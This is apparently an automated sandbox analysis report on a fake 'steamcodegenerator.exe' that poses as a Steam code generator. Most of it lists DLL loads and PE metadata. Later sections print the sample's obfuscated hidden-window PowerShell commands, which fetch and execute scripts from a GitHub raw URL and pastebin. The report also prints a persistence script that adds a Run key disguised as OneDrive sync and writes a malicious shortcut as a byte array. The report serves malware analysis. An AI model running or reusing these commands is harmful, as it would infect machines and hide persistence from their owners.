Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll

Source: C:\Users\user\Desktop\steamcodegenerator.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: BeginSync.lnk.3.dr

LNK file: ..\..\..\Windows\System32\forfiles.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: steamcodegenerator.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: steamcodegenerator.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: steamcodegenerator.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: steamcodegenerator.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: steamcodegenerator.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: steamcodegenerator.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: steamcodegenerator.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: steamcodegenerator.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: steamcodegenerator.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\Bill Hillman\source\repos\steamcodegenerator\x64\Release\steamcodegenerator.pdb&& source: steamcodegenerator.exe, 00000000.00000002.3629938089.0000022AF4E20000.00000004.00001000.00020000.00000000.sdmp, steamcodegenerator.exe, 00000000.00000002.3629977699.0000022AF4E54000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Programming1\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb source: steamcodegenerator.exe
Source:	Binary string: dC:\Programming1\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb source: steamcodegenerator.exe
Source:	Binary string: C:\Users\Bill Hillman\source\repos\steamcodegenerator\x64\Release\steamcodegenerator.pdb source: steamcodegenerator.exe, 00000000.00000002.3629938089.0000022AF4E20000.00000004.00001000.00020000.00000000.sdmp, steamcodegenerator.exe, 00000000.00000002.3629977699.0000022AF4E54000.00000002.10000000.00040000.00000000.sdmp

Source: steamcodegenerator.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: steamcodegenerator.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: steamcodegenerator.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: steamcodegenerator.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: steamcodegenerator.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\steamcodegenerator.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"
Source: C:\Users\user\Desktop\steamcodegenerator.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"	Jump to behavior
Source: C:\Windows\System32\forfiles.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"

Source: steamcodegenerator.exe

Static PE information: section name: _RDATA

Boot Survival

Powershell creates an autostart link

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk"if (-Not (Test-Path $googoogaagaa)) {$currentPath = [System.Environment]::GetEnvironmentVariable("PATH", "User")$newPath = $currentPath + ";$env:tmp"[System.Environment]::SetEnvironmentVariable("PATH", $newPath, "User")#New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Driver Diagnosis" -Value "regsvr32.exe /s DriverDiag" -PropertyType String -ForceNew-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDrive File Sync" -Value '"C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"' -PropertyType String -Force#$source = "https://raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/DriverDiag.dll"#$destination = "$env:tmp\DriverDiag.dll"#Invoke-WebRequest -Uri $source -OutFile $destinationmkdir "C:\ProgramData\Microsoft OneDrive\FileSync";$savedbytes = (76,0,0,0,1,20,2,0,0,0,0,0,192,0,0,0,0,0,0,70,171,0,8,0,32,0,0,0,124,37,104,27,210,97,216,1,203,131,156,28,20,3,219,1,124,37,104,27,210,97,216,1,0,16,1,0,0,0,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,69,1,20,0,31,80,224,79,208,32,234,58,105,16,162,216,8,0,43,48,48,157,25,0,47,67,58,92,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,86,0,49,0,0,0,0,0,23,89,186,133,48,0,87,105,110,100,111,119,115,0,64,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,246,25,0,0,0,0,2,0,0,0,0,0,12,1,0,0,0,0,0,0,0,0,46,238,28,1,87,0,105,0,110,0,100,0,111,0,119,0,115,0,0,0,22,0,90,0,49,0,0,0,0,0,36,89,104,183,16,0,83,121,115,116,101,109,51,50,0,0,66,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,76,95,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,208,173,33,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,0,0,24,0,102,0,50,0,0,16,1,0,167,84,130,42,32,0,102,111,114,102,105,108,101,115,46,101,120,101,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,0,0,0,85,0,0,0,24,0,0,0,3,0,0,0,96,56,18,250,16,0,0,0,87,105,110,100,111,119,115,0,67,58,92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,102,111,114,102,105,108,101,115,46,101,120,101,0,0,38,0,46,0,46,0,92,0,46,0,46,0,92,0,46,0,46,0,92,0,87,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,92,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,215,0,47,0,112,0,32,0,99,0,58,0,92,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,115,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,32,0,47,0,109,0,32,0,110,0,111,0,116,0,101,0,112,0,97,0,100,0,46,0,101,0,120,0,101,0,32,0,47,0,99,0,32,0,34,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,46,0,101,0,120,0,101,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,32,0,45,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,116,0,121,0,108,0,101,0,32,0,104,0,32,0,45,